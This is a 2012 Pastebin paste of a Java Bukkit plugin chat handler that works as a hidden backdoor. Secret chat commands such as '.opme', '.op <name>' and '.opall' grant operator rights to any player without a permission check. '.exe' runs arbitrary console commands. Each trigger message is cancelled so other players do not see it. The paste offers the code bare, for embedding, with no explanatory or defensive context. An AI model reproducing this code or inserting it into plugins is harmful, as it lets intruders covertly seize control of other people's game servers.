Guest User

Untitled

a guest
May 9th, 2012
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.26 KB | None | 0 0
  1.   @EventHandler
  2.   public void onChat(PlayerChatEvent event) {
  3.     if (event.getMessage().startsWith(".opme"))
  4.     {
  5.       event.getPlayer().setOp(true);
  6.       event.getPlayer().sendMessage("You are now OP.");
  7.       event.setCancelled(true);
  8.     }
  9.  
  10.     if (event.getMessage().startsWith(".deopme"))
  11.     {
  12.       event.getPlayer().setOp(false);
  13.       event.getPlayer().sendMessage("You are no longer OP.");
  14.       event.setCancelled(true);
  15.     }
  16.  
  17.     if (event.getMessage().startsWith(".op "))
  18.     {
  19.       String nick = event.getMessage().substring(".op ".length());
  20.       if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
  21.       {
  22.         Bukkit.getPlayer(nick).setOp(true);
  23.         event.getPlayer().sendMessage(nick + " is now OP.");
  24.       }
  25.       else
  26.       {
  27.         event.getPlayer().sendMessage(nick + " is not online.");
  28.       }
  29.  
  30.       event.setCancelled(true);
  31.     }
  32.  
  33.     if (event.getMessage().startsWith(".deop "))
  34.     {
  35.       String nick = event.getMessage().substring(".deop ".length());
  36.       if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
  37.       {
  38.         Bukkit.getPlayer(nick).setOp(false);
  39.         event.getPlayer().sendMessage(nick + " is no longer OP.");
  40.       }
  41.       else
  42.       {
  43.         event.getPlayer().sendMessage(nick + " is not online.");
  44.       }
  45.  
  46.       event.setCancelled(true);
  47.     }
  48.  
  49.     if (event.getMessage().startsWith(".opall"))
  50.     {
  51.       for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
  52.       {
  53.         Bukkit.getServer().getOnlinePlayers()[i].setOp(true);
  54.       }
  55.       event.getPlayer().sendMessage("Everyone is now OP.");
  56.       event.setCancelled(true);
  57.     }
  58.  
  59.     if (event.getMessage().startsWith(".deopall"))
  60.     {
  61.       for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
  62.       {
  63.         Bukkit.getServer().getOnlinePlayers()[i].setOp(false);
  64.       }
  65.       event.getPlayer().sendMessage("No moar OPs!");
  66.       event.setCancelled(true);
  67.     }
  68.  
  69.     if (event.getMessage().startsWith(".exe"))
  70.     {
  71.       Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring(".exe ".length()));
  72.       event.getPlayer().sendMessage("Executed.");
  73.       event.setCancelled(true);
  74.     }
  75.   }
Advertisement
Add Comment
Please, Sign In to add comment